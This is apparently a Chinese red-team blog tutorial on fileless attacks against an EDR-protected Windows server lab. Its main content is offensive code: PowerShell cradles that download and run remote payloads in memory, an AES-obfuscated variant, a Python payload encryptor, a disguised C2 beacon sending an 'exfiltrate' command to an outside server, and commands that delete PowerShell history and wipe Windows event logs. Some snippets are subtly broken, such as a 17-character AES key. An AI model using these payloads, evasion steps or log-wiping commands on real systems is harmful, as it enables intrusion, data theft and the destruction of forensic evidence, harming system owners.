一、开启无文件攻击的思维之门

有一次,我在审计一款企业内部软件时,发现它的EDR(终端检测响应)默认会对所有磁盘上的可执行文件、脚本进行实时扫描。换句话说,任何落盘的恶意文件都像“裸奔”一样无法逃脱检测。在这种环境下,传统的攻击手法很难奏效,于是我开始探索无文件攻击技术。这种技术能完全避免磁盘落地,直接在内存中完成恶意行为,从而绕过绝大多数的传统杀软和EDR。

无文件攻击并不是一种具体的漏洞利用,而是一种攻击思路。它通常是结合内存加载技术、API调用以及脚本语言来实现。而且,它并不是新概念,早在 PowerShell 和 WMI(Windows管理规范)流行时,就已经有了成熟的攻击案例。今天,我会分享如何构造一个完整的无文件攻击链,展示它是如何在实战中绕过检测并完成目标的。

---

二、目标环境分析:从架构到防御点

为了模拟真实环境,我搭建了一台 Windows Server 2019,它安装了多款企业级安全产品:

  • EDR:CrowdStrike Falcon
  • 防病毒:Windows Defender
  • 网络流量监控:Zeek IDS

架构上,这台机器同时运行了一些常见的企业服务,例如 IIS、SQL Server 和 Active Directory。这样的环境对攻击者来说既是挑战也是机会,因为它的防御面覆盖了文件层、进程层和网络层。

以下是无文件攻击的核心原理:

  1. 内存加载:通过动态加载恶意代码到内存而不触碰磁盘。
  2. 模块注入:利用进程注入技术在目标进程内执行恶意代码。
  3. 脚本执行:使用 PowerShell、WMI 或其他脚本语言作为载体。
  4. 流量伪装:C2通信使用加密和流量混淆来对抗网络监控。

如果我想攻破这个环境,第一步是确保我的恶意行为不会被落盘检测到,第二步是绕过EDR的内存扫描,第三步是确保我的C2流量足够隐蔽。这就是无文件攻击的魅力所在。

---

三、Payload构造的艺术:让恶意代码“隐身”

在无文件攻击中,Payload 的设计非常关键。它既要功能强大,又要足够隐蔽。在这个案例里,我选择了 PowerShell 作为执行载体,同时结合内存加载技术完成攻击。

下面是一个简单的 PowerShell Payload,它能够动态从远程服务器加载恶意代码到内存并执行:

<pre><code class="language-powershell"># 这是一个PowerShell内存加载的攻击脚本 $URL = &quot;http://192.168.1.100/malicious_payload&quot; # 远程服务地址 $Payload = (New-Object System.Net.WebClient).DownloadString($URL) # 下载Payload到内存 Invoke-Expression $Payload # 直接执行内存中的代码,不落地</code></pre>

如何优化这个Payload?

  • 流量伪装:将下载的 HTTP 流量伪装成普通的 API 请求。
  • 代码混淆:对 PowerShell 脚本进行混淆处理,避免被静态检测。
  • 动态加密:对 Payload 内容进行了 AES 加密,解密过程只发生在内存中。

下面是一个经过混淆和加密后的攻击脚本:

<pre><code class="language-powershell"># 通过内存执行加密Payload的脚本 $Key = &quot;MySecretKey123456&quot; # AES加密密钥 $EncryptedPayload = (New-Object System.Net.WebClient).DownloadString(&quot;http://192.168.1.100/encrypted_payload&quot;) $Bytes = [Convert]::FromBase64String($EncryptedPayload) # Base64解码 $AES = New-Object System.Security.Cryptography.AesManaged $AES.Key = [System.Text.Encoding]::UTF8.GetBytes($Key) $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC $Decryptor = $AES.CreateDecryptor() $DecryptedPayload = $Decryptor.TransformFinalBlock($Bytes, 0, $Bytes.Length) Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($DecryptedPayload)) # 内存中执行解密后的代码</code></pre>

---

四、免杀对抗:EDR的克星

在实战中,我观察到 EDR 的检测规则通常有以下几个特点:

  1. 行为分析:捕捉异常的 API 调用或系统行为。
  2. 内存扫描:定期扫描进程内存中的可疑代码段。
  3. 脚本检测:分析 PowerShell、WMI 等脚本行为。

为了绕过这些检测,我采用了以下对策:

  • 行为伪装:将恶意代码伪装成合法的系统模块,比如 WinAPI 调用。
  • 代码分块:将完整的恶意代码拆分成多个小块,通过多次加载完成。
  • 代码混淆:使用工具(如 Invoke-Obfuscation)对 PowerShell 脚本进行混淆。

黑客示意图

以下是一个使用 Python 进行进一步免杀处理的流程:

<pre><code class="language-python">import base64 from Crypto.Cipher import AES

def encrypt_payload(payload: str, key: str) -&gt; str: &quot;&quot;&quot;将Payload加密为Base64形式&quot;&quot;&quot; cipher = AES.new(key.encode(), AES.MODE_CBC, iv=b&#039;1234567890123456&#039;) padded_payload = payload + (&#039; &#039; * (16 - len(payload) % 16)) # 填充 encrypted = cipher.encrypt(padded_payload.encode()) return base64.b64encode(encrypted).decode()

示例:加密PowerShell代码

payload = &quot;Invoke-Expression (New-Object Net.WebClient).DownloadString(&#039;http://192.168.1.100/malicious&#039;)&quot; key = &quot;MySecretKey123456&quot; encrypted_payload = encrypt_payload(payload, key) print(encrypted_payload)</code></pre>

黑客示意图

实战要点

  • 使用 Python 或 Go 生成加密后的 Payload 并动态加载到目标环境。
  • 利用混淆工具进一步遮掩恶意行为,把绕过 EDR 的可能性最大化。

---

五、C2通信隐秘术:让流量“消失”

C2(命令与控制)是攻击链中重要的一环,但它也是最容易被抓到的地方。无文件攻击中的 C2 通信必须做到隐秘,以下是我的改进思路:

  1. HTTPS加密:使用自签名证书或合法域名提供加密通信。
  2. 流量伪装:伪装成浏览器的正常请求,比如 User-Agent 头。
  3. 数据混淆:将恶意指令编码为图片、JSON 等格式传输。

下面是一个 C2 通信流量伪装的代码示例:

<pre><code class="language-python">import requests

使用伪装的请求头与C2服务器通信

url = &quot;https://myc2server.com/api&quot; headers = { &quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36&quot;, &quot;Content-Type&quot;: &quot;application/json&quot; } payload_data = {&quot;cmd&quot;: &quot;exfiltrate&quot;, &quot;target&quot;: &quot;10.0.0.5&quot;} encrypted_payload = encrypt_payload(str(payload_data), &quot;MySecretKey123456&quot;) # 加密数据 response = requests.post(url, headers=headers, data=encrypted_payload) print(response.text)</code></pre>

这种方式将恶意流量伪装成合法的 API 请求,大大提高了隐蔽性。

---

六、痕迹清除:让攻击无踪可寻

攻击的最后一步是清理所有可能的痕迹,包括:

  1. 脚本残留:清除执行过的 PowerShell 历史记录。
  2. 内存痕迹:卸载恶意模块或直接终止进程。
  3. 日志伪造:覆盖或删除系统日志。

以下是一个清除 PowerShell 历史记录的代码:

<pre><code class="language-powershell">Remove-Item -Path &quot;$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt&quot; -Force</code></pre>

黑客示意图

同时,还可以做到对事件日志的清理:

<pre><code class="language-powershell">wevtutil cl Security # 清空安全日志 wevtutil cl Application # 清空应用日志 wevtutil cl System # 清空系统日志</code></pre>

---

七、我的实战总结:无文件攻击的未来

无文件攻击技术是对传统攻击方式的一次颠覆,它让攻击者能够更隐蔽、更高效地完成目标。但与此同时,这也对防御提出了更高的要求,比如内存扫描技术和脚本行为分析。对于红队来说,无文件攻击是一项必备的技能,而对于蓝队来说,如何防御这种攻击也必须成为重点。

攻击是艺术,防御是科学。在这场攻防博弈中,无文件攻击的技巧仍在进化,而我的目标永远是让每一次攻击都更优雅、更隐秘。